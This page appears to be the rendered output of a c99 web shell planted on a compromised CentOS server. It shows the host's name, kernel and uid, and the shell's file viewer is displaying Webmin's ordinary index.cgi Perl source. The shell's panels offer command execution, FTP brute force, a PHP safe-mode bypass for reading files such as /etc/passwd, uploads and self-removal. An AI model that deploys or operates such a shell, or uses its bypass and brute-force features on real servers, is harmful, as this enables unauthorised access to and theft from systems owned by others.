!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/webminlog/   drwxr-xr-x
Free 49.59 GB of 127.8 GB (38.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     index.cgi (3.41 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# index.cgi
# Display logging search form

use strict;
use warnings;
require './webminlog-lib.pl';
our (%text, %gconfig, %access_users, %in, %config);
&foreign_require("acl", "acl-lib.pl");
&ui_print_header(undef, $text{'index_title'}, "", undef, 1, 1);

if (!$gconfig{'log'}) {
    print &text('index_nolog', '/webmin/edit_log.cgi'),"<p>\n";
    }
elsif (!$gconfig{'logfiles'}) {
    print &text('index_nologfiles', '/webmin/edit_log.cgi'),"<p>\n";
    }

print &ui_form_start("search.cgi");
print &ui_table_start($text{'index_header'}, undef, 2);

my @ulist = sort { $a->{'name'} cmp $b->{'name'} } &acl::list_users();
my @canulist = grep { &can_user($_->{'name'}) } @ulist;
if (@canulist == 1) {
    # Can only show one user, so skip this field
    print &ui_hidden("uall", 1),"\n";
    }
else {
    # Show user selectors
    my @unames = grep { &can_user($_) } map { $_->{'name'} } @ulist;
    my @opts = ( [ 1, $text{'index_uall'}."<br>" ],
             [ 0, $text{'index_user'}." ".
               &ui_select("user", undef, \@unames)."<br>" ] );
    if ($access_users{'*'}) {
        push(@opts, [ 2, $text{'index_nuser'}." ".
                     &ui_select("nuser", undef, \@unames)."<br>" ]);
        push(@opts, [ 3, $text{'index_ouser'}." ".
                 &ui_textbox("ouser", undef, 20) ]);
        }
    print &ui_table_row($text{'index_susers'},
                &ui_radio("uall", 1, \@opts));
    }

# Modules to search
my @mods;
if (&can_mod("global")) {
    push(@mods, [ "global", $text{'index_global'} ]);
    }
foreach my $m (sort { $a->{'desc'} cmp $b->{'desc'} } &get_all_module_infos()) {
    next if (!&can_mod($m->{'dir'}));
    my $mdir = &module_root_directory($m->{'dir'});
    if (-r "$mdir/log_parser.pl" && &check_os_support($m)) {
        push(@mods, [ $m->{'dir'}, $m->{'desc'} ]);
        }
    }
my @opts = ( [ 1, $text{'index_mall'}."<br>" ],
         [ 0, $text{'index_module'}." ".
           &ui_select("module", $in{'module'}, \@mods) ] );
print &ui_table_row($text{'index_smods'},
            &ui_radio("mall", 1, \@opts));

# Dates to search
print &ui_table_row($text{'index_stimes'},
            &ui_radio("tall", 2,
            [ [ 1, $text{'index_tall'}."<br>" ],
              [ 2, $text{'index_today'}."<br>" ],
              [ 3, $text{'index_yesterday'}."<br>" ],
              [ 4, $text{'index_week'}."<br>" ],
              [ 0, &text('index_time', &time_input('from'),
                           &time_input('to')) ] ]));

# Action description to match
print &ui_table_row($text{'index_sdesc'},
            &ui_textbox("desc", undef, 40));

# Search modified files and diff contents
if ($gconfig{'logfiles'}) {
    print &ui_table_row($text{'index_sfile'},
        &ui_radio("fall", 1,
              [ [ 1, $text{'index_fall'}."<br>" ],
                [ 0, $text{'index_file'}." ".
                 &ui_textbox("file", undef, 40) ] ]));

    print &ui_table_row($text{'index_sdiff'},
        &ui_radio("dall", 1,
              [ [ 1, $text{'index_dall'}."<br>" ],
                [ 0, $text{'index_diff'}." ".
                 &ui_textbox("diff", undef, 40) ] ]));
    }

# Remote host
if ($config{'host_search'}) {
    print &ui_table_row($text{'index_shost'},
        &ui_radio("wall", 1,
              [ [ 1, $text{'index_wall'}."<br>" ],
                [ 0, $text{'index_whost'}." ".
                 &ui_textbox("webmin", undef, 30) ] ]));
    }

# Show full descriptions?
print &ui_table_row($text{'index_long'},
    &ui_yesno_radio("long", 0));

print &ui_table_end();
print &ui_form_end([ [ undef, $text{'index_search'} ] ]);

&ui_print_footer("/", $text{'index'});

sub time_input
{
my ($name) = @_;
return &ui_date_input(undef, undef, undef,
              $name."_d", $name."_m", $name."_y").
       &date_chooser_button($name."_d", $name."_m", $name."_y");
}


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0058 ]--